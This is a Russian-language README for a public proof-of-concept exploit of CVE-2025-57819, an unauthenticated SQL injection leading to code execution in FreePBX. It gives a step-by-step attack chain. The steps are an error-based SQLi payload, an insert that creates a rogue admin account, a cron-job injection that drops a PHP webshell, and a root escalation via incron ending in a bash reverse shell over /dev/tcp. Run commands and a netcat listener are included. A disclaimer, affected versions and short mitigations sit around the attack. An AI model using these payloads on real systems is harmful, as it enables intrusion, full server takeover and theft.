FreePBX CVE-2025-57819 — Неаутентифицированная SQLi до RCE PoC

Только для образовательных целей и исследований в области безопасности — см. юридическое уведомление ниже

Доказательство концепции эксплуатации для CVE-2025-57819 — критической неаутентифицированной уязвимости SQL-инъекции в FreePBX, позволяющей удалённое выполнение кода. Данный PoC опубликован после выпуска официальных патчей исключительно для исследований в области безопасности и авторизованного тестирования.

Обзор

FreePBX версий 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Эта цепочка уязвимостей позволяет:

1. Создавать административные учётные записи через SQL-инъекцию
2. Развёртывать веб-шеллы через аутентифицированную инъекцию в cron-задания
3. Повышать привилегии до root (при наличии incron) через цепочку хуков sysadmin_manager
4. Полностью скомпрометировать систему с доступом через обратную оболочку

---

Сведения об уязвимости

CVE ID	CVE-2025-57819
Тип	Неаутентифицированная SQL-инъекция (на основе ошибок)
CVSS	9.8 / 10.0 (Критический)
Затронуты	FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Исправлено	15.0.66, 16.0.89, 17.0.3+
CISA KEV	Да (29 августа 2025 г.)

Уязвимая конечная точка

GET /admin/ajax.php?brand=<PAYLOAD>

Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без валидации, что приводит к SQL-инъекции на основе ошибок.

---

Цепочка эксплуатации

Этап 1: SQL-инъекция и создание учётной записи администратора

Проверьте SQLi с помощью извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Вставьте нового административного пользователя в asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Этап 2: Внедрение задачи cron с аутентификацией

При наличии действительных учётных данных администратора эксплойт проходит аутентификацию в FreePBX и устанавливает аутентифицированную сессию. Файлы cookie сессии сохраняются и используются для всех последующих аутентифицированных запросов.

Внедрение команды веб-оболочки в asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Планировщик cron FreePBX выполняет команду от имени пользователя asterisk, разворачивая PHP-вебшелл.

Этап 3: Активация вебшелла

PHP-вебшелл разворачивается в /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

Exploit опрашивает веб-шелл до активации, достигая RCE от имени пользователя asterisk (uid=999).

Этап 4: Повышение привилегий (условно)

Если на целевой системе настроен incron:

1. Создать файл-триггер в /var/spool/asterisk/incron/
2. incrond (работающий от root) обнаруживает создание файла
3. Вызывает /usr/bin/sysadmin_manager с именем файла-триггера
4. sysadmin_manager проверяет подпись GPG и передаёт управление хуку fwconsole-commands
5. Хук декодирует полезную нагрузку и выполняет: /usr/sbin/fwconsole <COMMAND>
6. Инъекция команд: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Результат: root-шелл на обратном слушателе (если incron доступен).

---

Что эксплуатируется

• Отсутствие проверки входных данных для параметра brand
• Выполнение составных запросов позволяет манипулировать базой данных
• Записываемая таблица asterisk.cron_jobs выполняет команды от имени asterisk
• Сохранение аутентифицированной сессии через cookie из созданной учётной записи администратора
• Мониторинг файловой системы через incron, работающий от root
• Выполнение хука fwconsole без проверки с инъекцией команд

---

Установка

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Использование

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

---

Уязвимые версии

Версия	Статус
15.0.0 - 15.0.65	Уязвима
15.0.66+	Исправлена
16.0.0 - 16.0.88	Уязвима
16.0.89+	Исправлена
17.0.0 - 17.0.2	Уязвима
17.0.3+	Исправлена

---

Меры защиты

Незамедлительные:

• Ограничьте доступ к /admin/ajax.php из недоверенных сетей
• Отключите incron, если он не нужен: systemctl disable incrond

Постоянные: Обновитесь до исправленных версий: 15.0.66+, 16.0.89+ или 17.0.3+

---

Ссылки

• CVE-2025-57819
• Каталог CISA KEV
• Рекомендации по безопасности FreePBX

---

Правовое уведомление

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Данное proof of concept предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим инструментом.

ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:

• Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичные законы вашей юрисдикции
• Тестируйте только системы, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение
• Получите письменное разрешение перед любым тестированием безопасности
• Практики ответственного раскрытия информации
• Нормы о конфиденциальности и защите данных (GDPR, CCPA и др.)

ЗАПРЕЩЁННОЕ ИСПОЛЬЗОВАНИЕ:

• Несанкционированный доступ к компьютерным системам
• Тестирование на проникновение без письменного согласия
• Нарушение работы сервисов или кража данных
• Любая вредоносная или незаконная деятельность

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Автор не несёт ответственности за:

• Несанкционированный доступ или уголовные обвинения
• Повреждение систем или потерю данных
• Правовые последствия неправомерного использования
• Нарушения законов о компьютерном мошенничестве

Эта уязвимость:

• Публично раскрыта (CVE-2025-57819)
• Патчи общедоступны
• Опубликована только для исследований в области безопасности
• Раскрыта ответственно после выпуска патча

---

Автор

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

Лицензия

MIT License